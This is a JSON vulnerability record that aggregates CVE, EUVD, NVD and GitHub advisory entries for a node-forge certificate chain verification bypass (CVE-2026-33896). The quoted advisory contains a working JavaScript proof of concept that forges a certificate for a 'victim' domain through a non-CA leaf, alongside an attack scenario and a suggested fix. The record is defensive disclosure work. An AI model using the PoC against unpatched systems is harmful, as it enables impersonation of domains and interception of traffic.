{"id":"GHSA-2328-f5f3-gj25","revision":null,"records":[{"revision":"6bc6a0a865cb4fbf860372d503935d75","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33896","aliases":[],"title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","state":0,"publishedAt":"2026-03-27T20:50:03.418+00:00","modifiedAt":"2026-09-04T12:04:50.96+00:00","affected":[{"ecosystem":"Vendor product","name":"forge","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"digitalbazaar\",\n                    \"product\": \"forge\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.4.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33896","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33896","identifiers":["CVE-2026-33896"]},"retained":false,"historicalAffected":[]},{"revision":"50f11649c7e340179a0c52909ad0c5a0","observedAt":"2026-11-01T05:16:37.902+00:00","statement":{"source":"euvd","id":"EUVD-2026-16837","aliases":["CVE-2026-33896","GHSA-2328-f5f3-gj25"],"title":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certi…","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":null}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16837","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 8:50:03 PM","dateUpdated":"Sep 4, 2026, 12:04:50 PM"},"relatedAdvisories":[{"id":"RHSA-2026:13826","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.","vulnerabilityIds":["CVE-2025-62718","CVE-2025-69534","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-3118","CVE-2026-4800","CVE-2026-4926","CVE-2026-27601","CVE-2026-27904","CVE-2026-29063","CVE-2026-29074","CVE-2026-29186","CVE-2026-32141","CVE-2026-32280","CVE-2026-32282","CVE-2026-33228","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39983","CVE-2026-40175","CVE-2026-40895"]},{"id":"RHSA-2026:34342","title":"Red Hat Security Advisory: Cluster Observability Operator 1.5.0","vulnerabilityIds":["CVE-2020-7753","CVE-2021-33623","CVE-2024-4068","CVE-2024-45338","CVE-2024-52011","CVE-2025-22868","CVE-2025-22870","CVE-2025-22872","CVE-2025-47911","CVE-2025-58190","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-4800","CVE-2026-4867","CVE-2026-6321","CVE-2026-6322","CVE-2026-6734","CVE-2026-9277","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-25680","CVE-2026-25681","CVE-2026-29063","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33814","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33937","CVE-2026-33938","CVE-2026-33939","CVE-2026-33940","CVE-2026-33941","CVE-2026-39821","CVE-2026-42506","CVE-2026-48779"]},{"id":"RHSA-2026:86618","title":"Red Hat Security Advisory: New container image: rhceph-9.2","vulnerabilityIds":["CVE-2023-46159","CVE-2024-47866","CVE-2024-48916","CVE-2024-55565","CVE-2025-12816","CVE-2025-15599","CVE-2025-26791","CVE-2025-30156","CVE-2025-50181","CVE-2025-50182","CVE-2025-58754","CVE-2025-59343","CVE-2025-62718","CVE-2025-66030","CVE-2025-66035","CVE-2025-66412","CVE-2025-69873","CVE-2026-0540","CVE-2026-21441","CVE-2026-22610","CVE-2026-25639","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-27970","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33672","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39865","CVE-2026-40175","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044","CVE-2026-50152","CVE-2026-58224"]},{"id":"RHSA-2026:24761","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2025-62718","CVE-2026-4926","CVE-2026-7246","CVE-2026-26996","CVE-2026-27904","CVE-2026-30922","CVE-2026-32280","CVE-2026-32282","CVE-2026-32283","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39363","CVE-2026-39892","CVE-2026-40192"]},{"id":"msrc_CVE-2026-33896","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","vulnerabilityIds":["CVE-2026-33896"]},{"id":"RHSA-2026:9742","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.","vulnerabilityIds":["CVE-2025-62718","CVE-2025-69534","CVE-2025-69873","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-2229","CVE-2026-3118","CVE-2026-4800","CVE-2026-4926","CVE-2026-25679","CVE-2026-26996","CVE-2026-27601","CVE-2026-27904","CVE-2026-29063","CVE-2026-29074","CVE-2026-29186","CVE-2026-32141","CVE-2026-33036","CVE-2026-33228","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39983","CVE-2026-40175"]},{"id":"WID-SEC-W-2026-1407","title":"IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-26013","CVE-2026-27142","CVE-2026-28277","CVE-2026-28684","CVE-2026-32288","CVE-2026-33151","CVE-2026-33349","CVE-2026-33532","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-33916","CVE-2026-34601","CVE-2026-35469","CVE-2026-39406","CVE-2026-39407","CVE-2026-39408","CVE-2026-39409","CVE-2026-39410","CVE-2026-39983","CVE-2026-40175","CVE-2026-40347","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-4923","CVE-2026-4926"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16837","identifiers":["EUVD-2026-16837","CVE-2026-33896","GHSA-2328-f5f3-gj25"]},"retained":false,"historicalAffected":[]},{"revision":"652470a5f7f54fa4901d4def76701976","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-33896","aliases":[],"title":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certi…","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33896","identifiers":["CVE-2026-33896"]},"retained":false,"historicalAffected":[]},{"revision":"a68f3381fa88410eba47f6ca16ee52c9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2328-f5f3-gj25","aliases":["CVE-2026-33896"],"title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n> \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: 'commonName', value: 'Legitimate Root CA' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: 'basicConstraints', cA: true, critical: true },\n  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: 'commonName', value: 'victim.example.com' },\n  { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -> leaf -> victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');\n  console.log('  This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null && bcExt === null) {\n  error = {\n    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)","state":0,"publishedAt":"2026-03-26T22:05:43+00:00","modifiedAt":"2026-09-10T03:50:36.1856604+00:00","affected":[{"ecosystem":"npm","name":"node-forge","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","https://nvd.nist.gov/vuln/detail/CVE-2026-33896","https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90","https://github.com/digitalbazaar/forge"],"sourceUrl":"https://github.com/advisories/GHSA-2328-f5f3-gj25","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2328-f5f3-gj25","identifiers":["GHSA-2328-f5f3-gj25","CVE-2026-33896"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5916126+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5916133+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d5c3ebbfb28a03509d20973fbb2330bc7b9e252e9828be2e66ae9aea69b49ce1","complete":true,"records":417669,"lastAttemptAt":"2026-11-01T18:57:22.5530729+00:00","lastSuccessAt":"2026-11-01T18:57:22.2751752+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.5530729+00:00","snapshotPublishedAt":"2026-11-01T18:27:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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